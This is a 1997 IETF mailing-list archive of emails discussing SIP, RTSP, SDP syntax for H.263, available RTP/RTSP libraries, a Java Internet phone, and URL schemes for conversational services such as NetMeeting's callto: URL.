Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id XAA21711; Wed, 24 Sep 1997 23:12:31 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id XAA22817; Wed, 24 Sep 1997 23:12:30 -0400 (EDT)
Message-Id: <3429D69E.D48D8DCB@cs.columbia.edu>
Date: Wed, 24 Sep 1997 23:12:30 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.03 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: fcao@nttlabs.com
Cc: confctrl@ISI.EDU, sumisu@nttlabs.com, kt@nttlabs.com
Subject: Re: SIP, RTSP and resource reservation
References: <199709241925.MAA08019@alicia.nttlabs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

fcao@nttlabs.com wrote:
> 

>   We need some kind of reservation-id(or Call-ID) embeded in SDP.
> We could add some kind of sequence number and/or time stamp for
> each INVITE for the same Call-ID.

Doesn't SDP already have a globally unique identifier?



> 
>   In the case that the media server must show up in a session(or conference),
> the 'Retry-After' is not efficient. The media server should return some
> information about when it is going to be free. This will help the
> initiator decide when start the session(or conference).
> Preview means checking the server's schedule for some of its resources.

If you go beyond a list of Retry-After's, this can get arbitrarily
complex. Possibly adding a parameter to Retry-After indicating how long
the resource will be available is sufficient.

Henning

From majordom@ISI.EDU  Wed Sep 24 15:18:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA17917>; Wed, 24 Sep 1997 22:19:16 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA17911>; Wed, 24 Sep 1997 22:19:14 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA03840
	for <confctrl@isi.edu>; Wed, 24 Sep 1997 22:19:14 -0700 (PDT)
Received: from little-bear.precept.com (little-bear.precept.com [204.162.119.40])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id WAA28603;
	Wed, 24 Sep 1997 22:18:43 -0700 (PDT)
Date: Wed, 24 Sep 1997 22:18:42 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: confctrl@ISI.EDU
Subject: SET-PARAMETER with more than one
Message-Id: <Pine.SOL.3.95.970924221056.15434C-100000@little-bear.precept.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In the RTSP spec, the description of the SET-PARAMETER method says
there SHOULD be only one parameter to simplify the interpretation of
error responses.  The fine print suggests a reason why one might want
to send more than one parameter, which explains why this SHOULD is not
MUST.  Also, the fine print also implies that if there are multiple
parameters, no action should be taken on any of the parameters if any
of them are invalid.  However, there should be an explicit statement
of the semantics when multiple parameters are included.

If I have taken the implication of the fine print correctly, then one
must perform a two-pass processing of the parameters.  On the first
pass, both the parameters and their values would be verified for
validity but not actually changed.  If no errors were discovered, then
on the second pass they would actually be set.  Correct?

							-- Steve


From majordom@ISI.EDU  Fri Sep 26 12:35:18 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA03012>; Fri, 26 Sep 1997 00:33:37 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA03006>; Fri, 26 Sep 1997 00:33:36 -0700
Received: from ns11.nokia.com (ns11.nokia.com [131.228.6.230])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA24947
	for <confctrl@isi.edu>; Fri, 26 Sep 1997 00:33:35 -0700 (PDT)
Received: from pepper.research.nokia.com (pepper.research.nokia.com [131.228.12.3]) by ns11.nokia.com (8.8.5/8.6.9) with SMTP id KAA23972 for <confctrl@isi.edu>; Fri, 26 Sep 1997 10:33:33 +0300 (EET DST)
Received: (from smap@localhost) by pepper.research.nokia.com (8.6.13/8.6.13) id KAA00957; Fri, 26 Sep 1997 10:33:24 +0300
Received: from nrchub01he.research.nokia.com(131.228.10.247) by pepper.research.nokia.com via smap (V1.3)
	id sma000803; Fri Sep 26 10:32:22 1997
Received: from Microsoft Mail (PU Serial #1751)
  by nrchub01he.research.nokia.com (PostalUnion/SMTP(tm) v2.1.9g for Windows NT(tm))
  id AA-1997Sep26.102327.1751.1109517; Fri, 26 Sep 1997 10:35:18 +0200
From: petri.koskelainen@research.nokia.com (Koskelainen Petri NRC/Tre)
To: confctrl@ISI.EDU ('confctrl@isi.edu'), rem-conf@es.net ('rem-conf@es.net')
Message-Id: <1997Sep26.102327.1751.1109517@nrchub01he.research.nokia.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Date: Fri, 26 Sep 1997 10:35:18 +0200
Subject: SDP syntax fo H.263 options (draft)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



There is new  internet-draft coming out soon describing the SDP syntax
for H.263 options and parameters, and their relation to SIP and SAP.
For those who can't wait, see it in:
http://www.cs.tut.fi/~petkos/draft-koskelainen-sdp263-00.txt

We have made most changes suggested by Stephen Casner, except that
MaxBitRate is still used since we think that SDP b attribute is not the same
as MaxBitRate in SDP H.263 decoder capabilities.

Moreover, SIP spec would need minor changes to say that unicast
codec / codec options are not always symmetric. To make asymmetric
usage possible, it is necessary to define that SDP codecs and codec options
are only (advertized)  decoder capabilities. Both ends (in INVITE, and its 
OK reply
messages), define their decoders. Current SIP spec is not saying anything 
about
this.


 --
Petri



From majordom@ISI.EDU  Mon Sep 29 16:55:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA15257>; Mon, 29 Sep 1997 05:55:58 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA15250>; Mon, 29 Sep 1997 05:55:56 -0700
Received: from hera.cwi.nl (hera.cwi.nl [192.16.191.1] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA05360
	for <confctrl@ISI.EDU>; Mon, 29 Sep 1997 05:55:54 -0700 (PDT)
Received: from snelboot.cwi.nl (snelboot.cwi.nl [192.16.196.127]) by hera.cwi.nl with ESMTP
	id OAA20146 for ; Mon, 29 Sep 1997 14:55:20 +0200 (MET DST)
Received: from localhost by snelboot.cwi.nl with ESMTP
	id OAA14646; Mon, 29 Sep 1997 14:55:19 +0200 (MET DST)
Message-Id: <UTC199709291255.OAA14646.jack@snelboot.cwi.nl>
X-Mailer: exmh version 1.6.9 8/22/96
To: rem-conf@es.net, confctrl@ISI.EDU
Subject: Any RTP RTSP libraries available?
Organisation: Multi-media group, CWI, Kruislaan 413, Amsterdam
Phone: +31 20 5924098(work), +31 20 5924199 (fax), +31 20 6160335(home)
X-Last-Band-Seen: Dead Moon, Brotherhood Foundation (Melkweg, 28-9)
X-Mini-Review: DM were a revelation, charming trashy sixtiespunk
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 29 Sep 1997 14:55:19 +0200
From: Jack Jansen <Jack.Jansen@cwi.nl>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Does anyone know of libraries to handle the RTP and RTSP protocols? I've come 
across PN's RTSP package, but the architecture of that is rather integrated 
and I would prefer something that was designed as a library to drop into other 
applications.
--
Jack Jansen             | ++++ stop the execution of Mumia Abu-Jamal ++++
Jack.Jansen@cwi.nl      | ++++ if you agree copy these lines to your sig ++++
http://www.cwi.nl/~jack | see http://www.xs4all.nl/~tank/spg-l/sigaction.htm 



From majordom@ISI.EDU  Mon Sep 29 02:25:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA23132>; Mon, 29 Sep 1997 09:25:42 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA23126>; Mon, 29 Sep 1997 09:25:41 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA12231
	for <confctrl@ISI.EDU>; Mon, 29 Sep 1997 09:25:40 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA04160
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 29 Sep 1997 09:26:33 -0700
Message-Id: <3.0.3.32.19970929092530.013711bc@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Mon, 29 Sep 1997 09:25:30 -0700
To: Jack Jansen <Jack.Jansen@cwi.nl>, rem-conf@es.net, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: Any RTP RTSP libraries available?
In-Reply-To: <UTC199709291255.OAA14646.jack@snelboot.cwi.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 02:55 PM 9/29/97 +0200, Jack Jansen wrote:
>Does anyone know of libraries to handle the RTP and RTSP protocols? I've
come 
>across PN's RTSP package, but the architecture of that is rather integrated 
>and I would prefer something that was designed as a library to drop into
other 
>applications.

Just to make things clear, RealNetworks (formerly Progresive Networks,
"formerly" being 4 days ago) offers two different implementations of RTSP.
The RTSP Reference kit was released pretty early on in the standardization
of RTSP primarily as a test bed, and has the properties you describe.  

The RealMedia SDK, released for developer beta earlier this year, is also
an implementation of RTSP, and is available for free download now.  It's
much more modular than the RTSP reference, and has a lot more features.
The downside is that it doesn't include source code, and that the
redistribution licensing is slightly trickier (but we are a pretty
reasonable bunch of folks to work with, IMHO :).  It also may not give you
the exact entry point into the system that you want.  For example, you can
create new datatypes and file formats, and it has hooks for adding new
headers on the DESCRIBE message, but doesn't allow you "down to the metal"
access to RTSP.

Other than that, it's a complete system, and is where we are putting the
bulk of our engineering effort (and have for the past year), so it's very
well-designed and is only going to get better.  A lot of our efforts have
been geared squarely at folks making tools (such as yourselves), so I think
it's worth looking at.

Rob

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From majordom@ISI.EDU  Mon Sep 29 11:21:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA04405>; Mon, 29 Sep 1997 12:21:09 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA04399>; Mon, 29 Sep 1997 12:21:07 -0700
Received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21834
	for <confctrl@ISI.EDU>; Mon, 29 Sep 1997 12:21:06 -0700 (PDT)
Received: from mailhub.watson.ibm.com (mailhub.watson.ibm.com [9.2.250.97]) by igw3.watson.ibm.com (8.8.7/07-11-97) with ESMTP id PAA11442; Mon, 29 Sep 1997 15:21:03 -0400
Received: from plan9.watson.ibm.com (plan9.watson.ibm.com [9.2.207.76]) by mailhub.watson.ibm.com (8.8.7/07-14-97) with SMTP id PAA24522; Mon, 29 Sep 1997 15:21:02 -0400
Received: by plan9.watson.ibm.com (AIX 4.1/UCB 5.64/6/25/96)
          id AA23308; Mon, 29 Sep 1997 15:21:02 -0400
From: v guruprasad (prasad) <prasad@watson.ibm.com>
Message-Id: <9709291921.AA23308@plan9.watson.ibm.com>
Subject: Re: Any RTP RTSP libraries available?
To: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Mon, 29 Sep 1997 15:21:02 -0400 (EDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <UTC199709291255.OAA14646.jack@snelboot.cwi.nl> from "Jack Jansen" at Sep 29, 97 02:55:19 pm
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I haven't checked out the Columbia implementation yet.  I am trying to get 
a host setup outside our firewall to make our portable Unix implementation
available to the internet community.  There is a temporary web page,
http://www.research.ibm.com/rtsptoolkit, which is unfortunately unable to
serve the sources at the moment.

The implementation is so so portable that I am able to use the RTSP layer to
play games with a machine that never fails to beat me! The protocol has taken
about 300 lines of ksh together with some small helper programs, a shared
memory session database and a cron-like demon.  It was designed to be dropped
into existing applications at short notice, and makes no assumptions about
the media content or protocol (like RTP).


> Does anyone know of libraries to handle the RTP and RTSP protocols? I've come 
> across PN's RTSP package, but the architecture of that is rather integrated 
> and I would prefer something that was designed as a library to drop into other 
> applications.
> --
> Jack Jansen             | ++++ stop the execution of Mumia Abu-Jamal ++++
> Jack.Jansen@cwi.nl      | ++++ if you agree copy these lines to your sig ++++
> http://www.cwi.nl/~jack | see http://www.xs4all.nl/~tank/spg-l/sigaction.htm 

From majordom@ISI.EDU  Wed Oct  1 04:53:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA21326>; Wed, 1 Oct 1997 05:53:54 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA21320>; Wed, 1 Oct 1997 05:53:53 -0700
Received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA11244
	for <confctrl@ISI.EDU>; Wed, 1 Oct 1997 05:53:52 -0700 (PDT)
Received: from mailhub.watson.ibm.com (mailhub.watson.ibm.com [9.2.250.97]) by igw3.watson.ibm.com (8.8.7/07-11-97) with ESMTP id IAA08912 for <confctrl@ISI.EDU>; Wed, 1 Oct 1997 08:53:51 -0400
Received: from plan9.watson.ibm.com (plan9.watson.ibm.com [9.2.207.76]) by mailhub.watson.ibm.com (8.8.7/07-14-97) with SMTP id IAA13116 for <confctrl@ISI.EDU>; Wed, 1 Oct 1997 08:53:51 -0400
Received: by plan9.watson.ibm.com (AIX 4.1/UCB 5.64/6/25/96)
          id AA21780; Wed, 1 Oct 1997 08:53:50 -0400
From: v guruprasad (prasad) <prasad@watson.ibm.com>
Message-Id: <9710011253.AA21780@plan9.watson.ibm.com>
Subject: Re: Any RTP RTSP libraries available?
To: confctrl@ISI.EDU
Date: Wed, 1 Oct 1997 08:53:50 -0400 (EDT)
In-Reply-To: <9709291921.AA23308@plan9.watson.ibm.com> from "v guruprasad" at Sep 29, 97 03:21:02 pm
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> available to the internet community.  There is a temporary web page,
> http://www.research.ibm.com/rtsptoolkit, which is unfortunately unable to
> serve the sources at the moment.

As of yesterday evening, the pages have been fixed and the sources are
now downloadable online.


From majordom@ISI.EDU  Thu Oct  2 11:54:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA10743>; Thu, 2 Oct 1997 02:54:25 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA10737>; Thu, 2 Oct 1997 02:54:24 -0700
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id CAA15366
	for <confctrl@isi.edu>; Thu, 2 Oct 1997 02:54:23 -0700 (PDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.09996-0@bells.cs.ucl.ac.uk>; Thu, 2 Oct 1997 10:54:15 +0100
To: confctrl@ISI.EDU
Subject: java internet telephone
Date: Thu, 02 Oct 1997 10:54:13 +0100
Message-Id: <5490.875786053@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


<a href=http://www.cs.ucl.ac.uk/staff/jon/jip/>Java Internet Phone</a> 
An MSc group developed this
which is RTP/SDP/SIP/JTAPI compliant, Java Internet Phone, with
relaying between POTS and the Internet - its very cute!. The gateway
runs on a Windows Nt box, and requires Dialogic cards for the DTMF and
telephone audio interworking, but uses JTAPI (JAVA Telephone API)
so its fairly portable. The actual internet phone part works on Unixes
and PCs ok (though there are some thread shcedulign problems on
Solaris). Mail me if you're interested in the code...it has a stub
rsvp implementation in it too...I cannot vouch for how bug free it all
is...

obiously, the work is copyrght the students....so i am not giving it
out immediately for free....

From majordom@ISI.EDU  Thu Oct  2 10:48:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA08464>; Thu, 2 Oct 1997 15:25:11 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA08458>; Thu, 2 Oct 1997 15:25:09 -0700
Received: from mercury.acs.unt.edu (mercury.acs.unt.edu [129.120.1.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA11525
	for <confctrl@ISI.EDU>; Thu, 2 Oct 1997 15:25:07 -0700 (PDT)
Received: from silo.csci.unt.edu (silo.csci.unt.edu [129.120.3.15])
	by mercury.acs.unt.edu (8.8.5/8.8.5) with ESMTP id RAA00211;
	Thu, 2 Oct 1997 17:25:04 -0500 (CDT)
Received: (from cqyang@localhost)
          by silo.csci.unt.edu (8.8.4/8.8.4)
	  id PAA26176; Thu, 2 Oct 1997 15:48:34 -0500 (CDT)
Date: Thu, 2 Oct 1997 15:48:34 -0500 (CDT)
From: Cui-Qing Yang <cqyang@silo.csci.unt.edu>
Message-Id: <199710022048.PAA26176@silo.csci.unt.edu>
To: J.Crowcroft@cs.ucl.ac.uk, confctrl@ISI.EDU
Subject: Re: java internet telephone
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

It sounds a very interesting project. I'd be more than happy to receive a
copy of the code if I can.

Thanks.

Cui-Qing Yang

From majordom@ISI.EDU  Tue Oct  7 13:54:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA14535>; Tue, 7 Oct 1997 04:57:46 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA14526>; Tue, 7 Oct 1997 04:57:43 -0700
Received: from arthur.axion.bt.co.uk (mailhub.axion.bt.co.uk [132.146.5.4] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA01992
	for <confctrl@isi.edu>; Tue, 7 Oct 1997 04:57:41 -0700 (PDT)
Received: from rambo.futures.bt.co.uk by arthur.axion.bt.co.uk with SMTP (PP); Tue, 7 Oct 1997 12:56:31 +0100
Received: from mussel.futures.bt.co.uk by rambo with SMTP (PP); Tue, 7 Oct 1997 12:59:58 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) id <01BCD31F.61DAD6F0@mussel.futures.bt.co.uk>;
          Tue, 7 Oct 1997 12:48:59 +0100
Message-Id: <c=GB%a=_%p=BT%l=HERCULES-971007115444Z-7870@mussel.futures.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: "'Louise Spergel'" <louise@mvjok.mv.lucent.com>,
        "'ietf-url'" <ietf-url@imc.org>, "'voip'" <voip@vocaltec.com>,
        "'h323-url'" <h323-url@vocaltec.com>,
        "'PINT'" <pint@lists.research.bell-labs.com>,
        "'MMusic'" <confctrl@ISI.EDU>
To: "'ietf-fax'" <ietf-fax@imc.org>,
        "'s_wright@fujitsu-fnc.com'" <s_wright@fujitsu-fnc.com>,
        "'djz@corp.webtv.net'" <djz@corp.webtv.net>,
        "'avs@iki.fi'" <avs@iki.fi>
Cc: "'h323-url'" <h323-url@vocaltec.com>
Subject: Mailing list for URLs for conversational services
Date: Tue, 7 Oct 1997 12:54:44 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 163 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This mail is to advertise the existence of a mailing list to
discuss/develop conversational URLs.  Toby Nixon has presented an
excellent introduction to this and so I have forwarded it rather than
re-interpreting it in my own words.

Toby mentions collecting existing draft schemes.  Some that I am aware
of include:

H.32x:	ftp://itu-tsg15!avc:ftp.gctech.co.jp/9709_Sun/apc-1288.doc
SIP:	draft-ietf-mmusic-sip-03.txt
Fax:	draft-ietf-fax-addressing-00.txt
Phone:	draft-antti-telephony-url-01.txt
Callto:	See below

One reason for the wide circulation of this mail is to get across the
board consensus on URLs for conversation.  One particular aspect of this
is URLs for phone numbers which is being looked at in a number of areas.

Looking forward to some productive work,

Pete
=================================
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 645499
=================================


>----------
>From: 	Toby Nixon[SMTP:tnixon@MICROSOFT.com]
>Sent: 	07 October 1997 02:24
>To: 	'Lars Aronsson'; Ian King; Anders Klemets (VXtreme); 'Vaha-Sipila
>Antti (NMP)'; 'Pete Cordell'; 'Yoav Medan'; 'Matthew Feldman'; 'Henning
>Schulzrinne (BL)'; 'petrack@vocaltec.com'; 'Pnina Vortman'; 'Callaghan,
>Robert NT BOCA'; 'Jim Toga'; 'Bruce A Thompson'; 'Dave Lindbergh';
>'lindbergh@pictel.com'; 'Tom Taylor'; 'Terry L Anderson'; 'Hong Linh
>Truong'; 'Ami Amir'; 'David Gurle'; 'Henning Schulzrinne (BL)';
>'scott_petrack@vocaltec.com'
>Cc: 	'h323-url@vocaltec.com'
>Subject: 	Mailing list for URLs for conversational services
>
>Just wanted to be sure you were aware that Scott Petrack has set up a
>mailing list specifically for the discussion of URLs for real-time
>conversations. The list address is "h323-url@vocaltec.com". You can
>subscribe by sending a message with "subscribe" in the message body to
>"h323-url-request@vocaltec.com". 
>
>It would be great if this work moved forward quickly and we were able
>to
>have a consensus draft as soon as possible. Should we start by
>collecting requirements? From my perspective, I'd like to see a
>consistent URL format for all sorts of conversational services
>including
>H.323, H.324, H.320, SIP, phone, fax, chat, etc. It should allow for
>both technology- and network-specific URLs (i.e., that identify the
>specific network and/or terminal type of the called endpoint) and URLs
>that point to directories, agents, or other higher-level abstractions
>that allow calling a person (wherever they might be) instead of an
>address. Whatever URL format we agree to should be extendable, allowing
>for inclusion of security keys, product-specific extensions, etc.
>
>I do know that there are some existing proposals on the table, such as
>from Henning, Antti, and Pete. Would those who have specific proposals
>already composed please post pointers to them to the mailing list so
>that everyone can review them? Are there any historical documents we
>should have as references?
>
>For information, I've attached below a summary of the "callto" URL that
>is currently supported by Microsoft Internet Explorer and NetMeeting.
>Are there any other existing URLs for similar services for which you
>could post documentation for reference?
>
>	-- Toby
>___________________________________________________________
>Toby Nixon, Program Manager - NetMeeting
>http://www.microsoft.com/netmeeting
>Microsoft Corporation, Applications and Internet Client Group, Redmond
>WA  USA
>+1 (425) 936-2792     Fax: +1 (425) 936-7329
>mailto:tnixon@microsoft.com
>
>
>
>THE "CALLTO" URL
>
>Here's some information on the "callto" URL used by NetMeeting 2.0.
>This
>is documented in Chapter 11 of the NetMeeting Resource Kit, which can
>be
>downloaded from http://www.microsoft.com/netmeeting/reskit.
>
>The callto: protocol handler simplifies the process of placing
>NetMeeting calls directly from a web page.  It is designed to mimic the
>functionality of the mailto: protocol handler that is commonly used to
>send e-mail while browsing the web.
>
>Supported syntax in NetMeeting 2.0:
>
>Format				Example
>
>DNS Name			callto:machine.domain.com
>IP Address			callto:157.55.22.31
>E-mail Address*		callto:user@domain.com
>ULS Name
>callto:uls4.microsoft.com/user@domain.com
>
>* This is implemented by resolving the e-mail address against the ULS
>server that the local user is currently logged into.  We want to
>discourage the use of this syntax because it is unlikely to produce the
>correct result as the number of ULS servers increases and users become
>less likely to be on the same server.
>
>		Example HTML:
>
>		<a
>href="callto:uls4.microsoft.com/joeuser@aol.com">Click Here to Call Me
>Using NetMeeting</a>
>
>How callto: can be used (basically like any other URL):
>
>1)	Insert a "call me" link on a personal web page
>
>2)	Use Start->Run->"callto:user@domain.com" to launch NetMeeting
>and place a call
>
>3)	Other apps can ShellExecute() callto: links to integrate with
>NetMeeting without using any APIs
>
>Issues:
>
>1)	callto: wasn't supported prior to NetMeeting 2.0 Beta 2. Of
>course, we hope everyone is upgrading to the latest version.
>
>2)	callto: doesn't currently work in Netscape Navigator.
>
>3)		callto: doesn't currently work in most apps that parse
>text for URL's, including Exchange, Outlook, Word 97, and Internet Mail
>and News.  Internet Mail and News actually parses the e-mail address
>out
>of the callto: link and turns it into a "mailto:" link. This will get
>better as these apps are revised; we're making sure these teams are all
>aware of the callto URL.
>
>4)		callto: doesn't currently support calls through gateways
>(e.g., specifying the gateway name and a phone number), joining an
>existing conference (e.g., specifying an H.323 MCU and conference ID,
>or
>T.120 MCU and conference name), or calls that would need to be resolved
>through a gatekeeper (since RAS isn't supported in NM 2.0). We're
>addressing these issues in future versions of NetMeeting.
>
>It's fairly straight-forward to discover by examining the registry how
>one would register a different app as the "callto" handler. It's just
>like any other URL or file type.
>
>This is for information and not necessarily a proposal for
>standardization. We just want you all to be aware of what's out there
>today, which could become a basis for further work in order to preserve
>backward compatibility. 
>
>

From majordom@ISI.EDU  Tue Oct  7 17:18:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA16255>; Tue, 7 Oct 1997 06:28:42 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA16249>; Tue, 7 Oct 1997 06:28:41 -0700
Received: from elettra.trieste.it (SYNW06.elettra.trieste.it [140.105.2.8])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA03790
	for <confctrl@isi.edu>; Tue, 7 Oct 1997 06:28:36 -0700 (PDT)
Date: Tue, 7 Oct 1997 15:18:24 +0200
To: pete.cordell@bt-sys.bt.co.uk
Cc: louise@mvjok.mv.lucent.com, ietf-url@imc.org, voip@vocaltec.com,
        h323-url@vocaltec.com, pint@lists.research.bell-labs.com,
        confctrl@ISI.EDU, ietf-fax@imc.org, s_wright@fujitsu-fnc.com,
        djz@corp.webtv.net, avs@iki.fi, tnixon@microsoft.com,
        Harald.T.Alvestrand@uninett.no, moore@cs.utk.edu
In-Reply-To: <c=GB%a=_%p=BT%l=HERCULES-971007115444Z-7870@mussel.futures.bt.co>
Message-Id: <Pine.VMS.3.91-B.971007150013.8751A-100000@SYNW03.elettra.trieste.it>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
From: Claudio Allocchio +39 40 3758523 <Claudio.Allocchio@elettra.trieste.it>
Subject: Re: Mailing list for URLs for conversational services
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hallo,
just some clarifications:

The work being done in ietf-fax about fax addressing in e-mail service 
(which can be easily adopted also as "generic PSTN addressing in e-mail 
service" for VPIM and any other service over PSTN) is strictly related
to e-mail address schema. 

However the global-phone and local-phone definitions in there are also 
applicable to all the other environments dealt with by the other drafts: 
in fact already one of the other documents (draft-antti-telephony-url-01.txt)
was aligned to these definitions.

There was a proposal from the Harald Alvestrand (Application Area 
co-Director) to align all current proposals using the extension mechanism:

      /label=value

present in draft-ietf-fax-addressing-00.txt already (of course ignoring the
e-mail specific elements defined there).

It currently looks like the ietf-fax group has consensus now on the 
address format (we still need to choose one option: the sub-address 
separator sytnax). If we forgot about some features which cannot be 
handled by the current descriprtion and extension mechanism, please could 
the other people/groups let us know? I'd like to finalise the document 
for final call soon.

Another question: shall I change the title into:

    Common PSTN service addressing in e-mail service

to reflect the most generic scope?

regards
Claudio


From majordom@ISI.EDU  Tue Oct 14 19:34:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA26764>; Tue, 14 Oct 1997 13:10:11 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA26756>; Tue, 14 Oct 1997 13:10:09 -0700
Received: from aun.uninett.no (aun.uninett.no [129.241.1.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA01302
	for <confctrl@isi.edu>; Tue, 14 Oct 1997 13:10:05 -0700 (PDT)
Received: from dale.uninett.no (actually dale.htalvestrand.priv.no) 
          by aun.uninett.no with SMTP (PP); Tue, 14 Oct 1997 22:09:40 +0200
Received: from dale.uninett.no (localhost [127.0.0.1]) 
          by dale.uninett.no (8.6.9/8.6.12) with ESMTP id RAA21086;
          Tue, 14 Oct 1997 17:34:01 +0200
From: Harald.T.Alvestrand@uninett.no
To: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
Cc: "'Louise Spergel'" <louise@mvjok.mv.lucent.com>,
        "'ietf-url'" <ietf-url@imc.org>, "'voip'" <voip@vocaltec.com>,
        "'h323-url'" <h323-url@vocaltec.com>,
        "'PINT'" <pint@lists.research.bell-labs.com>,
        "'MMusic'" <confctrl@ISI.EDU>, "'ietf-fax'" <ietf-fax@imc.org>,
        "'s_wright@fujitsu-fnc.com'" <s_wright@fujitsu-fnc.com>,
        "'djz@corp.webtv.net'" <djz@corp.webtv.net>,
        "'avs@iki.fi'" <avs@iki.fi>
Subject: Re: Mailing list for URLs for conversational services
In-Reply-To: Your message of "Tue, 07 Oct 1997 12:54:44 BST." <c=GB%a=_%p=BT%l=HERCULES-971007115444Z-7870@mussel.futures.bt.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Id: <21082.876843240.1@dale.uninett.no>
Date: Tue, 14 Oct 1997 17:34:01 +0200
Message-Id: <21084.876843241@dale.uninett.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'd strongly advise the people who work on conversational URLs to also
inject themselves into the URLREG working group discussions, so that
common requirements for conversational-type URLs can be folded into the
base set of requirements for URL schemes.

The mailing list is ietf-url@imc.org, and it's already got a copy of
this message.

